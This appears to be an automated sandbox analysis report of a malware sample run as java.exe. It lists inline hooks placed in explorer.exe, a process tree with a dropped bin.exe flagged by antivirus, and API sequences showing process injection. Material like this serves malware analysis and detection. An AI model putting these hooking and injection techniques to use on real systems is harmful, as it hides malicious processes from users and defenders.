<ClientInstRequest><CID>6666694284484FA1B35CCB433D42E997</CID><Events><E><T>Event.ClientInst</T><IG>892FA07886414BDF8EE1764A59FF39C6</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"C
2023-12-18 23:41:25 UTC	476	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3E58B4D29D4146169BADA8B6E4FA0F6B Ref B: BY3EDGE0305 Ref C: 2023-12-18T23:41:25Z Date: Mon, 18 Dec 2023 23:41:25 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.20a6dc17.1702942885.1ccaa844

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwResumeThread	INLINE	explorer.exe
NtQueryDirectoryFile	INLINE	explorer.exe
ZwEnumerateValueKey	INLINE	explorer.exe
NtResumeThread	INLINE	explorer.exe
ZwCreateUserProcess	INLINE	explorer.exe
NtEnumerateValueKey	INLINE	explorer.exe
NtCreateUserProcess	INLINE	explorer.exe
ZwQueryDirectoryFile	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwResumeThread	INLINE	0xE9 0x9E 0xE1 0x12 0x25 0x51
NtQueryDirectoryFile	INLINE	0xE9 0x98 0x81 0x12 0x29 0x91
ZwEnumerateValueKey	INLINE	0xE9 0x9C 0xC1 0x12 0x2D 0xD1
NtResumeThread	INLINE	0xE9 0x9E 0xE1 0x12 0x25 0x51
ZwCreateUserProcess	INLINE	0xE9 0x93 0x31 0x11 0x17 0x71
NtEnumerateValueKey	INLINE	0xE9 0x9C 0xC1 0x12 0x2D 0xD1
NtCreateUserProcess	INLINE	0xE9 0x93 0x31 0x11 0x17 0x71
ZwQueryDirectoryFile	INLINE	0xE9 0x98 0x81 0x12 0x29 0x91

Target ID:	0
Start time:	00:41:03
Start date:	19/12/2023
Path:	C:\Users\user\Desktop\java.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\java.exe
Imagebase:	0x400000
File size:	116'224 bytes
MD5 hash:	0411C0706F66B49AA6BEF1528606EE31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:41:03
Start date:	19/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:41:03
Start date:	19/12/2023
Path:	C:\Windows\SysWOW64\winver.exe
Wow64 process (32bit):	true
Commandline:	winver
Imagebase:	0xd00000
File size:	57'344 bytes
MD5 hash:	B5471B0FB5402FC318C82C994C6BF84D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	00:41:03
Start date:	19/12/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	00:41:11
Start date:	19/12/2023
Path:	C:\Windows\System32\sihost.exe
Wow64 process (32bit):	false
Commandline:	sihost.exe
Imagebase:	0x7ff796ef0000
File size:	111'616 bytes
MD5 hash:	A21E7719D73D0322E2E7D61802CB8F80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	00:41:11
Start date:	19/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:41:11
Start date:	19/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	00:41:12
Start date:	19/12/2023
Path:	C:\Windows\System32\ctfmon.exe
Wow64 process (32bit):	false
Commandline:	ctfmon.exe
Imagebase:	0x7ff7e3b00000
File size:	11'264 bytes
MD5 hash:	B625C18E177D5BEB5A6F6432CCF46FB3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:41:12
Start date:	19/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:41:12
Start date:	19/12/2023
Path:	C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
Imagebase:	0x7ff7da970000
File size:	793'416 bytes
MD5 hash:	5CDDF06A40E89358807A2B9506F064D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:41:13
Start date:	19/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	00:41:14
Start date:	19/12/2023
Path:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
Imagebase:	0x7ff6fdaa0000
File size:	3'671'400 bytes
MD5 hash:	5E1C9231F1F1DCBA168CA9F3227D9168
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	00:41:19
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Roaming\E38A1E29\bin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\E38A1E29\bin.exe"
Imagebase:	0x400000
File size:	116'224 bytes
MD5 hash:	CB95EC2B6EF058D45AA18CD146471002
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:41:19
Start date:	19/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:41:27
Start date:	19/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	00:41:27
Start date:	19/12/2023
Path:	C:\Windows\System32\smartscreen.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\smartscreen.exe -Embedding
Imagebase:	0x7ff7d45b0000
File size:	2'378'752 bytes
MD5 hash:	02FB7069B8D8426DC72C9D8A495AF55A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	00:41:27
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Roaming\E38A1E29\bin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\E38A1E29\bin.exe"
Imagebase:	0x400000
File size:	116'224 bytes
MD5 hash:	CB95EC2B6EF058D45AA18CD146471002
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:41:28
Start date:	19/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:41:29
Start date:	19/12/2023
Path:	C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca
Imagebase:	0x7ff794e20000
File size:	19'232 bytes
MD5 hash:	F050189D49E17D0D340DE52E9E5B711F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	00:41:30
Start date:	19/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:41:31
Start date:	19/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:41:31
Start date:	19/12/2023
Path:	C:\Windows\System32\ApplicationFrameHost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\ApplicationFrameHost.exe -Embedding
Imagebase:	0x7ff7d5d50000
File size:	78'456 bytes
MD5 hash:	D58A8A987A8DAFAD9DC32A548CC061E7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	00:41:32
Start date:	19/12/2023
Path:	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe" -ServerName:App.AppXc75wvwned5vhz4xyxxecvgdjhdkgsdza.mca
Imagebase:	0x7ff63cc40000
File size:	19'456 bytes
MD5 hash:	6C44453CD661FC2DB18E4C09C4940399
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	00:41:33
Start date:	19/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	00:41:33
Start date:	19/12/2023
Path:	C:\Windows\ImmersiveControlPanel\SystemSettings.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel
Imagebase:	0x7ff614e70000
File size:	98'104 bytes
MD5 hash:	3CD3CD85226FCF576DFE9B70B6DA2630
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	00:41:38
Start date:	19/12/2023
Path:	C:\Windows\System32\oobe\UserOOBEBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
Imagebase:	0x7ff69a060000
File size:	57'856 bytes
MD5 hash:	BCE744909EB87F293A85830D02B3D6EB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	00:41:38
Start date:	19/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	00:41:38
Start date:	19/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0x4
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	00:41:39
Start date:	19/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	00:41:39
Start date:	19/12/2023
Path:	C:\Windows\System32\backgroundTaskHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX4325622ft6437f3xfywcfxgbedfvpn0x.mca
Imagebase:	0x7ff6ec4b0000
File size:	19'776 bytes
MD5 hash:	DA7063B17DBB8BBB3015351016868006
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:41:40
Start date:	19/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:41:40
Start date:	19/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	00:41:41
Start date:	19/12/2023
Path:	C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe"
Imagebase:	0x510000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	00:41:41
Start date:	19/12/2023
Path:	C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe"
Imagebase:	0x510000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	00:41:41
Start date:	19/12/2023
Path:	C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe"
Imagebase:	0x510000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	00:41:42
Start date:	19/12/2023
Path:	C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe"
Imagebase:	0x510000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	00:41:42
Start date:	19/12/2023
Path:	C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe"
Imagebase:	0x510000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	00:41:42
Start date:	19/12/2023
Path:	C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe"
Imagebase:	0x510000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	00:41:42
Start date:	19/12/2023
Path:	C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe"
Imagebase:	0x510000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	00:41:43
Start date:	19/12/2023
Path:	C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe"
Imagebase:	0x510000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	00:41:43
Start date:	19/12/2023
Path:	C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe"
Imagebase:	0x510000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	00:41:43
Start date:	19/12/2023
Path:	C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe"
Imagebase:	0x510000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	10.6%
Total number of Nodes:	208
Total number of Limit Nodes:	7

Executed Functions

Function 00401000 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00A00000,00003000,00000040), ref: 00401064

Strings

alAl, xrefs: 00401036

Memory Dump Source

Source File: 00000000.00000002.1731690565.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1731673500.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_java.jbxd

Similarity

API ID: AllocVirtual
String ID: alAl
API String ID: 4275171209-1316302345
Opcode ID: f227270a32c0f617dc1efc8abb71a5ab52e3202e42098f1172127993d55cb963
Instruction ID: 5af7c2372beb94d1e1b866602b7db5847228e6fe9b98f09dddad8bbdacf03bae
Opcode Fuzzy Hash: f227270a32c0f617dc1efc8abb71a5ab52e3202e42098f1172127993d55cb963
Instruction Fuzzy Hash: B1015A36A401618FD765CF18C841F41B3E1BF48325F1A81A5D989AB7A2C778FC92CB88

Uniqueness

Uniqueness Score: -1.00%

Function 02220005 Relevance: 2.6, APIs: 1, Instructions: 1116COMMON

Download Yara Rule

APIs

Part of subcall function 0222098B: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 022209A5
Part of subcall function 0222098B: GetStartupInfoA.KERNEL32(00000000), ref: 022209BD

ExitProcess.KERNEL32(00000000), ref: 0222001D

Memory Dump Source

Source File: 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2220000_java.jbxd

Similarity

API ID: ExitInfoMutexOpenProcessStartup
String ID:
API String ID: 213680645-0
Opcode ID: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction ID: 9b01bd32b4734d43cd7822d2a3ce09566c9929df4a2bc8fcd7daff749e296663
Opcode Fuzzy Hash: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction Fuzzy Hash: 1172126142D3E13FD7279BE04A64A657F78BF23208B0D11CBD4819E0BBD6665B0DC36A

Uniqueness

Uniqueness Score: -1.00%

Function 004D0000 Relevance: 21.4, APIs: 3, Strings: 9, Instructions: 395
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 004D0318
VirtualProtect.KERNELBASE ref: 004D0680
VirtualProtect.KERNELBASE ref: 004D06FD

Strings

@, xrefs: 004D001F
C[, xrefs: 004D0221
y7, xrefs: 004D0234
, xrefs: 004D000F
d:, xrefs: 004D00A0
R, xrefs: 004D0039
1;, xrefs: 004D0286
wJ, xrefs: 004D012E
v, xrefs: 004D0141

Memory Dump Source

Source File: 00000000.00000002.1731777557.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_java.jbxd

Similarity

API ID: ProtectVirtual
String ID: $1;$@$C[$R$d:$wJ$y7$v
API String ID: 544645111-3459585926
Opcode ID: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction ID: edb9f42e84e9acb5268bdc8ef3b11ac1aba30bff5fcf76add10a79f009a4e509
Opcode Fuzzy Hash: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction Fuzzy Hash: 0C3267B8E012688BDB64CF68C890BDDBBB1BF49304F1481DAD848A7341D775AE85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 022209FD Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(00000000,022209F6,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 02220A04
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 02220A2C
VirtualProtectEx.KERNELBASE(?,?,000000EB,00000040,00000000), ref: 02220A57
DuplicateHandle.KERNELBASE(000000FF,000000FF,?,02225834,00000000,00000000,00000002), ref: 02220A9C
WriteProcessMemory.KERNELBASE(?,?,?,000000EB,00000000), ref: 02220ACA
ResumeThread.KERNELBASE(?), ref: 02220ADA
Sleep.KERNELBASE(000003E8), ref: 02220AEA
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 02220B01

Memory Dump Source

Source File: 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2220000_java.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWow64Write
String ID:
API String ID: 1738979855-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: 64aa664242fa0f3cac02608ec2a1345c4260278881ebe53ac80146cb32babac0
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: 51315431650225AFEF225F50CC85BA977B8FF04748F0405D4AA49FE0E9DBB19A94CE54

Uniqueness

Uniqueness Score: -1.00%

Function 02223409 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

